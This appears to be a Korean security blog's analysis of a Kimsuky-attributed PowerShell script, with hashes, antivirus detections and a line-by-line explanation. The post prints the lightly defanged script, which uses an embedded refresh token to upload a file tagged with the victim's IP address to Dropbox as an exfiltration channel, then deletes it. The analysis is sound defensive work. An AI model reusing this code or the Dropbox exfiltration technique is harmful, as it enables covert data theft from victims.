소프트웨어 팁/보안 및 분석

북한 APT 김수키(Kimsuky)에서 만든 악성코드-system_first.ps1(2024.11.27)

Sakai 2024. 12. 6. 00:00

일단 해당 악성코드는 어제 작성한 글인 pay.bat에서 악성코드를 실행했을 때 드롭박스에서 연결된 파워셀 코드입니다.
일단 해쉬값은 다음과 같습니다.
파일명:system_first.ps1
사이즈:1,532 Bytes
MD5:e598db51ddee48b7c351b68aebf76ebf
SHA-1:60cdedb45513069a5d67310529966681bd0b4663
SHA-256:ed55bb081d0e4dfeefd7af35dbb0a0481be192d3d0759631c951f7d6d5737749
입니다.

[소프트웨어 팁/보안 및 분석] - APT 김수키(Kimsuky)에서 만든 악성코드-pay.bat(2024.11,27)

 

APT 김수키(Kimsuky)에서 만든 악성코드-pay.bat(2024.11,27)

오늘은 APT 김수키(Kimsuky)에서 만든 악성코드-pay.bat(2024.11,27)에 대해 글을 적어 보겠습니다.해당 악성코드는 배치 파일을 악용하는 것이 특징이면 일단 실행이 되면 현재 폭파된 드

wezard4u.tistory.com

악성코드 PowerShell

드롭박스에 포함된 악성코드
드롭박스에 포함된 악성코드

$ttttttttttttt(t)ttttttttppppp(p)pppppppppppppp = $env:AppData;

$tokenRequestParams = @{
    grant_type    = "refresh_toke(n)"
    refresh_token = "CxR76FAp2JAAAAA(A)AAAAAYc-Z6EEUm1sCkIn(Z)nCsHRQKCp5lOSKBMipCEudngc-l";
    client_id     =  "8azq(s)rgxsd8fwrg"
    client_secret = "jjaqv85b(m)knr7st"
}
$qwa = "hxxps://a" (+) "pi(.)dr" + "opboxa" (+) "pi(.)com/oau" + "th2(/)to" (+) "ken"
$myttto = Invoke-(R)estMethod -Uri ($)qwa -Method Post -Body $(t)okenRequestParams


$ipAddress = (Get-WmiObj(e)ct Win32_NetworkAda(p)terConfiguration | Where(-)Object { $_.IP(A)ddress -ne $null }).IPAddress[0]
$currentTi(m)e = Get-(D)ate -Format "MMdd_HHmm"

$fileName = "$ipAddress-$(c)urrentTime-XXX-santa2(.)txt"

$srcPath = Join-Path $tttttttttt(t)tttttttttttpppppppp(p)ppppppppppp $fileName

"xmil" | Out-File -Fi(l0ePath $srcPath


$outputFile = Split-Pa(t)h $srcPath -leaf
$tttttffffppp="/githut/sa(n)ta2_persist/$outputFile"
$arg = '{ "path": "' + $tttt(t)ffffppp + '", "mode": "add", "autorename": true, "mute": false }'
$authorization = "Bearer " + $(($)myttto.access_token)
$headers = New-Object "System.Coll(e)ctions.Generic.Dictionary[[String],[String]]"
$headers.Add("Authorization", $auth(o)rization)
$headers.Add("D(r)opbox-API-Arg", $arg)
$headers.Add("Cont(e)nt-Type", 'applic(a)tion/octet-stream')

$diauyadsf = "djda(i)djaid"
$diaahah = "1818adjfi(a)sdjif"
$djaijd = 19029831(2)838123
$urrrr = "hxxps://content(.)drop"+"boxa"+"pi(.)com/2/f" (+) "iles/uplo" + "ad";
Invoke-RestMethod -Uri $urrrr -Method Post -InFile $srcPat(h) -Headers $headers
Remove-Item -Path $s(r)cPath;

코드 분석

system_first 파웨셀 편집기
system_first 파웨셀 편집기

1. 환경 변수 및 파일 경로 생성
$env:AppData:사용자의 AppData 경로를 가져오고 Windows 운영 체제에서 사용자별 데이터를 저장하는 디렉터리
난독화된 변수 이름 $tttttttttt(t)tttttttttttp(p)ppp(p)pppppppppppppp은 이 디렉터리를 참고
2.Dropbox 액세스 토큰 요청
$tokenRequestParams:Dropbox API에 액세스 토큰을 요청하는 데 필요한 매개변수로
refresh_token,client_id,client_secret 등의 민감한 정보를 포함
난독화:Dropbox API URL 의 + 연산자를 이용해 조합돼 있으며 단순히 분석을 방해하기 위한 난독화 기법
Invoke-RestMethod:해당 요청을 통해 새로 발급된 access_token을 $myttto.access_token 변수에 저장
3. 파일 이름 및 경로 생성
$ipAddress:시스템의 네트워크 인터페이스에서 첫 번째 IP 주소를 가져옴
$currentTime:현재 시간을 MMDD_HHMM 형식으로 가져옴
$fileName:위 두 정보를 조합해 고유한 파일 이름을 생성
$srcPath:생성된 파일 이름을 AppData 경로와 결합하여 파일의 전체 경로를 생성
4.파일 생성
파일에 문자열 xmil을 기록하고 저장
해당 문자열은 단순한 데이터처럼 보이지만 북한 애들이 해당 부분을 악용할 가능성이 높음
5.Dropbox에 파일 업로드
$outputFile로 파일 이름을 추출
Dropbox 업로드 경로를 설정(/githut/santa2_persist/$outputFile)
Dropbox API 업로드 요청을 위한 헤더($headers)를 설정
Invoke-RestMethod를 사용해 파일을 Dropbox로 업로드
파일 삭제:업로드 완료 후 파일을 Remove-Item으로 삭제
핵심 동작 요약
Dropbox API를 이용하여 특정 데이터를 업로드하는 동작을 수행
시스템 정보(예:IP 주소, 현재 시각)를 활용하여 파일 이름을 생성
생성된 파일에 특정 데이터를 기록하고 이를 Dropbox에 업로드한 후 로컬에서 파일을 삭제
악성코드 목적
IP 주소, 시간 기반 식별자 수집:
특정 시스템에 대한 맞춤 공격을 수행을 위한 목적?
2. 외부로 데이터 유출
Dropbox는 일반적으로 정상적인 클라우드 서비스로 간주하여 의심을 피하기 의도?
생성된 파일을 업로드하여 공격자가 외부에서 데이터를 수집
3. Refresh Token 및 Access Token 활용 한 지속적인 파일 업로드 및 C2 통신 가능성
refresh_token은 Dropbox API에서 새로운 액세스 토큰을 발급받으려고 사용
공격자는 이를 통해 지속적으로 새로운 인증 토큰을 생성하고 스크립트를 실행하는 시스템에서 정보를 유출
업로드된 파일의 경로(/githut/santa2_persist/$outputFile)가 특정 디렉터리를 가리키고 있음 해당 경로는 공격자가 파일을 정리하거나 관리하기 쉽게 하기 위한 목적
탐지 회피를 위한 난독화
Dropbox를 악용한 클라우드 기반 데이터 저장 활용
클라우드 서비스인 Dropbox는 기업 방화벽과 네트워크 보안 솔루션에서 자주 허용될 것이며 해당 부분을 악용하여 정보 유출 경로로 활용될 가능성
- 기업 보안 솔루션은 의심스러운 외부 IP 주소나 도메인을 차단하지만, Dropbox는 신뢰할 수 있는 서비스로 분류되기 때문에 악성 행위를 감지하기 어렵습니다.
정보 수집:
악의적인 공격자는 수집된 정보를 바탕으로 특정 환경(네트워크, 기업)에 맞춤형 악성코드 배포 가능
IP 주소와 같은 데이터를 기반으로 공격 대상을 분석하고 다른 공격 대상을 공격하기 위한 작업일 수가 있음
2024-12-05 00:58:50 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
ESET-NOD32:PowerShell/Kimsuky.AR
ViRobot:PS.S.Infostealer.1532
일단 개인적으로 노턴 사용자이지만 노백스 화 되어서 어베스트,BitDefender(비트디펜더) 쪽에 샘플 제공 그리고 국내 V3 신고하고 싶지만, 로그인하는 것이 귀찮아서 통과~

그리드형